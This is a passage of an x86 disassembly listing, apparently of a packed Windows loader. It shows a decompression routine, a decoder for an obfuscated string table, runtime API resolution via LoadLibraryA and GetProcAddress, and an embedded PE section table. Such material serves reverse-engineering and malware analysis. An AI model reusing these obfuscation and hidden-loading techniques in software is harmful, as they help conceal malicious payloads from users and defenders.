		mov	[ebp+var_8], eax
		mov	[ebp+var_10], ecx


loc_50262C:				; CODE XREF: sub_5023E9+1CCj
		lea	eax, [ebp+var_34]
		push	edi
		push	eax
		lea	eax, [esi+0A68h]
		push	eax
		call	sub_502374
		mov	edi, eax
		add	esp, 0Ch
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Bh
		mov	[ebp+var_4], eax
		jmp	loc_50271C
; ---------------------------------------------------------------------------


loc_502658:				; CODE XREF: sub_5023E9+196j
		mov	eax, [ebp+var_C]
		push	edi
		mov	[ebp+var_18], eax
		mov	eax, [ebp+var_10]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		xor	eax, eax
		cmp	ebx, 7
		setnl	al
		dec	eax
		and	al, 0FDh
		add	eax, 0Ah
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+664h]
		push	eax
		call	sub_502374
		mov	edi, eax
		add	esp, 0Ch
		cmp	edi, 4
		jge	short loc_502698
		jmp	short loc_50269B
; ---------------------------------------------------------------------------


loc_502698:				; CODE XREF: sub_5023E9+2ABj
		push	3
		pop	eax


loc_50269B:				; CODE XREF: sub_5023E9+2ADj
		shl	eax, 7
		lea	ecx, [ebp+var_34]
		push	ecx
		lea	eax, [eax+esi+360h]
		push	6
		push	eax
		call	sub_50227D
		add	esp, 0Ch
		cmp	eax, 4
		jl	short loc_502713
		mov	ecx, eax
		mov	ebx, eax
		sar	ecx, 1
		and	ebx, 1
		dec	ecx
		or	ebx, 2
		shl	ebx, cl
		cmp	eax, 0Eh
		jge	short loc_5026EA
		lea	edx, [ebp+var_34]
		push	edx
		push	ecx
		mov	ecx, ebx
		sub	ecx, eax
		lea	eax, [esi+ecx*2+55Eh]
		push	eax
		call	sub_5022B4
		add	esp, 0Ch


loc_5026E6:				; CODE XREF: sub_5023E9+328j
		add	ebx, eax
		jmp	short loc_502718
; ---------------------------------------------------------------------------


loc_5026EA:				; CODE XREF: sub_5023E9+2E2j
		add	ecx, 0FFFFFFFCh
		lea	eax, [ebp+var_34]
		push	ecx
		push	eax
		call	sub_502156
		shl	eax, 4
		add	ebx, eax
		lea	eax, [ebp+var_34]
		push	eax
		lea	eax, [esi+644h]
		push	4
		push	eax
		call	sub_5022B4
		add	esp, 14h
		jmp	short loc_5026E6
; ---------------------------------------------------------------------------


loc_502713:				; CODE XREF: sub_5023E9+2CEj
		mov	[ebp+var_8], eax
		mov	ebx, eax


loc_502718:				; CODE XREF: sub_5023E9+2FFj
		inc	ebx
		mov	[ebp+var_8], ebx


loc_50271C:				; CODE XREF: sub_5023E9+26Aj
		cmp	[ebp+var_8], 0
		jz	short loc_50274F
		inc	edi
		inc	edi


loc_502724:				; CODE XREF: sub_5023E9+358j
		mov	ecx, [ebp+arg_C]
		mov	eax, [ebp+arg_1C]
		mov	edx, ecx
		sub	edx, [ebp+var_8]
		mov	bl, [edx+eax]
		mov	[ecx+eax], bl
		inc	ecx
		dec	edi
		mov	[ebp+arg_C], ecx
		test	edi, edi
		jle	short loc_502743
		cmp	ecx, [ebp+arg_20]
		jb	short loc_502724


loc_502743:				; CODE XREF: sub_5023E9+1F2j
					; sub_5023E9+353j
		mov	eax, [ebp+arg_C]
		cmp	eax, [ebp+arg_20]
		jb	loc_5024AA


loc_50274F:				; CODE XREF: sub_5023E9+BBj
					; sub_5023E9+337j
		mov	ecx, [ebp+arg_24]
		mov	eax, [ebp+arg_C]
		pop	edi
		pop	esi
		mov	[ecx], eax
		xor	eax, eax
		pop	ebx
		leave
		retn
sub_5023E9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_50275E	proc near		; CODE XREF: start+20Ap

var_48		= byte ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 48h
		push	ebx
		push	esi
		push	edi
		xor	ebx, ebx
		push	0Eh
		mov	[ebp+var_14], ebx
		mov	[ebp+var_10], ebx
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], ebx
		call	sub_502A51
		mov	edi, ds:dword_5010F8
		pop	ecx
		push	eax
		call	edi	; LoadLibraryA
		push	11h
		mov	[ebp+var_18], eax
		call	sub_502A51
		mov	esi, ds:dword_5010E0
		pop	ecx
		push	eax
		push	[ebp+var_18]
		call	esi	; GetProcAddress
		push	12h
		mov	[ebp+var_1C], eax
		call	sub_502A51
		pop	ecx
		push	eax
		push	[ebp+var_18]
		call	esi	; GetProcAddress
		push	0Fh
		mov	[ebp+var_38], eax
		call	sub_502A51
		pop	ecx
		push	eax
		call	edi	; LoadLibraryA
		push	13h
		mov	[ebp+var_34], eax
		call	sub_502A51
		pop	ecx
		push	eax
		push	[ebp+var_34]
		call	esi	; GetProcAddress
		push	10h
		mov	[ebp+var_18], eax
		call	sub_502A51
		pop	ecx
		push	eax
		call	edi	; LoadLibraryA
		mov	edi, eax
		push	19Bh
		push	edi
		call	esi	; GetProcAddress
		push	17h
		push	edi
		mov	[ebp+var_20], eax
		call	esi	; GetProcAddress
		push	18h
		push	edi
		mov	[ebp+var_24], eax
		call	esi	; GetProcAddress
		push	8
		push	edi
		mov	[ebp+var_2C], eax
		call	esi	; GetProcAddress
		push	10h
		push	edi
		mov	[ebp+var_30], eax
		call	esi	; GetProcAddress
		cmp	[ebp+var_1C], ebx
		mov	[ebp+var_34], eax
		jz	loc_502A08
		cmp	[ebp+var_38], ebx
		jz	loc_502A08
		cmp	[ebp+var_18], ebx
		jz	loc_502A08
		cmp	[ebp+var_20], ebx
		jz	loc_502A08
		cmp	[ebp+var_24], ebx
		jz	loc_502A08
		cmp	[ebp+var_2C], ebx
		jz	loc_502A08
		cmp	[ebp+var_30], ebx
		jz	loc_502A08
		cmp	eax, ebx
		jz	loc_502A08
		push	ebx
		call	[ebp+var_1C]
		mov	esi, eax
		cmp	esi, ebx
		jl	loc_50296C
		lea	eax, [ebp+var_4]
		push	eax
		push	offset loc_5011F0
		push	(offset	loc_5011FD+3)
		push	2
		push	offset aWks	; "wks"
		push	ebx
		call	[ebp+var_18]
		mov	esi, eax
		cmp	esi, ebx
		jl	loc_50296C
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+28h]
		mov	esi, eax
		cmp	esi, ebx
		jl	loc_50296C
		mov	eax, [ebp+var_4]
		lea	edx, [ebp+var_8]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+34h]
		mov	esi, eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		jl	loc_50296F
		mov	ecx, [eax]
		lea	edx, [ebp+var_14]
		push	edx
		push	offset dword_501048
		push	eax
		call	dword ptr [ecx]
		mov	esi, eax
		cmp	esi, ebx
		jl	loc_50296C
		push	[ebp+arg_4]
		push	ebx
		push	11h
		call	[ebp+var_20]
		cmp	eax, ebx
		mov	[ebp+var_18], eax
		jz	loc_502A08
		lea	ecx, [ebp+var_28]
		mov	[ebp+var_28], ebx
		push	ecx
		push	eax
		call	[ebp+var_24]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_502963
		mov	ecx, [ebp+arg_4]
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+var_28]
		mov	eax, ecx
		shr	ecx, 2
		rep movsd
		push	[ebp+var_18]
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		call	[ebp+var_2C]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_502963
		mov	eax, [ebp+var_14]
		lea	edx, [ebp+var_10]
		push	edx
		push	[ebp+var_18]
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+0B4h]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_502963
		mov	eax, [ebp+var_10]
		lea	edx, [ebp+var_C]
		push	edx
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+40h]
		mov	esi, eax
		cmp	esi, ebx
		jl	short loc_502963
		lea	eax, [ebp+var_48]
		push	eax
		call	[ebp+var_30]
		push	ebx
		push	ebx
		sub	esp, 10h
		lea	esi, [ebp+var_48]
		mov	edi, esp
		mov	eax, [ebp+var_C]
		movsd
		mov	ecx, [eax]
		push	eax
		movsd
		movsd
		movsd
		call	dword ptr [ecx+94h]
		mov	esi, eax
		cmp	esi, ebx
		jge	short loc_5029B4


loc_502963:				; CODE XREF: sub_50275E+18Dj
					; sub_50275E+1B0j ...
		push	[ebp+var_18]
		call	[ebp+var_34]
		call	[ebp+var_38]


loc_50296C:				; CODE XREF: sub_50275E+FCj
					; sub_50275E+11Fj ...
		mov	eax, [ebp+var_8]


loc_50296F:				; CODE XREF: sub_50275E+14Cj
					; sub_50275E+266j
		cmp	eax, ebx
		jz	short loc_502979
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_502979:				; CODE XREF: sub_50275E+213j
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_502986
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_502986:				; CODE XREF: sub_50275E+220j
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_502993
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_502993:				; CODE XREF: sub_50275E+22Dj
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_5029A0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_5029A0:				; CODE XREF: sub_50275E+23Aj
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_5029AD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_5029AD:				; CODE XREF: sub_50275E+247j
		mov	eax, esi
		jmp	loc_502A4C
; ---------------------------------------------------------------------------


loc_5029B4:				; CODE XREF: sub_50275E+203j
		mov	eax, [ebp+var_4]
		push	eax
		mov	ecx, [eax]
		call	dword ptr [ecx+2Ch]
		mov	esi, eax
		mov	eax, [ebp+var_8]
		cmp	esi, ebx
		jl	short loc_50296F
		cmp	eax, ebx
		jz	short loc_5029D0
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_5029D0:				; CODE XREF: sub_50275E+26Aj
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_5029DD
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_5029DD:				; CODE XREF: sub_50275E+277j
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_5029EA
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_5029EA:				; CODE XREF: sub_50275E+284j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_5029F7
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_5029F7:				; CODE XREF: sub_50275E+291j
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_502A04
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_502A04:				; CODE XREF: sub_50275E+29Ej
		xor	eax, eax
		jmp	short loc_502A4C
; ---------------------------------------------------------------------------


loc_502A08:				; CODE XREF: sub_50275E+B0j
					; sub_50275E+B9j ...
		mov	eax, [ebp+var_8]
		cmp	eax, ebx
		jz	short loc_502A15
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_502A15:				; CODE XREF: sub_50275E+2AFj
		mov	eax, [ebp+var_4]
		cmp	eax, ebx
		jz	short loc_502A22
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_502A22:				; CODE XREF: sub_50275E+2BCj
		mov	eax, [ebp+var_C]
		cmp	eax, ebx
		jz	short loc_502A2F
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_502A2F:				; CODE XREF: sub_50275E+2C9j
		mov	eax, [ebp+var_10]
		cmp	eax, ebx
		jz	short loc_502A3C
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_502A3C:				; CODE XREF: sub_50275E+2D6j
		mov	eax, [ebp+var_14]
		cmp	eax, ebx
		jz	short loc_502A49
		mov	ecx, [eax]
		push	eax
		call	dword ptr [ecx+8]


loc_502A49:				; CODE XREF: sub_50275E+2E3j
		or	eax, 0FFFFFFFFh


loc_502A4C:				; CODE XREF: sub_50275E+251j
					; sub_50275E+2A8j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_50275E	endp


; =============== S U B	R O U T	I N E =======================================



sub_502A51	proc near		; CODE XREF: start+C6p	start+CFp ...

arg_0		= dword	ptr  4

		mov	eax, ds:dword_501030
		test	eax, eax
		jnz	short loc_502A72
		push	4
		push	1000h
		push	1E9h
		push	eax
		call	ds:dword_5010D8	; VirtualAlloc
		mov	ds:dword_501030, eax


loc_502A72:				; CODE XREF: sub_502A51+7j
		push	esi
		push	eax
		push	158h
		push	offset dword_501210
		call	sub_501368
		mov	esi, [esp+10h+arg_0]
		mov	edx, ds:dword_501030
		add	esp, 0Ch
		test	esi, esi
		jle	short loc_502AA9
		push	edi


loc_502A95:				; CODE XREF: sub_502A51+55j
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		dec	esi
		lea	edx, [edx+ecx+1]
		jnz	short loc_502A95
		pop	edi


loc_502AA9:				; CODE XREF: sub_502A51+41j
		mov	eax, edx
		pop	esi
		retn
sub_502A51	endp

; ---------------------------------------------------------------------------
		align 10h
dword_502AB0	dd 0F4h, 0Dh dup(0)		dd 0E5000h, 1A040h, 400h, 0E6000h, 1AB00h, 1, 101450h
		dd 400000h, 10Eh, 0E0000h, 0E1000h, 1, 0
		dd 1, 0
		dd 4CC70h, 4, 1, 400h, 33000h, 1000h, 32FD3h, 60000020h
		dd 1, 400h, 2600h, 34000h, 2530h, 40000040h, 1,	400h, 11A00h
		dd 37000h, 0A869Dh, 0C0000040h,	1, 400h, 1000h,	0E0000h
		dd 0EDCh, 0C0000040h, 6	dup(0)
_ex_cod		ends

; Section 4. (virtual address 00103000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00102C00
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 503000h
		align 2000h
_idata2		ends


		end start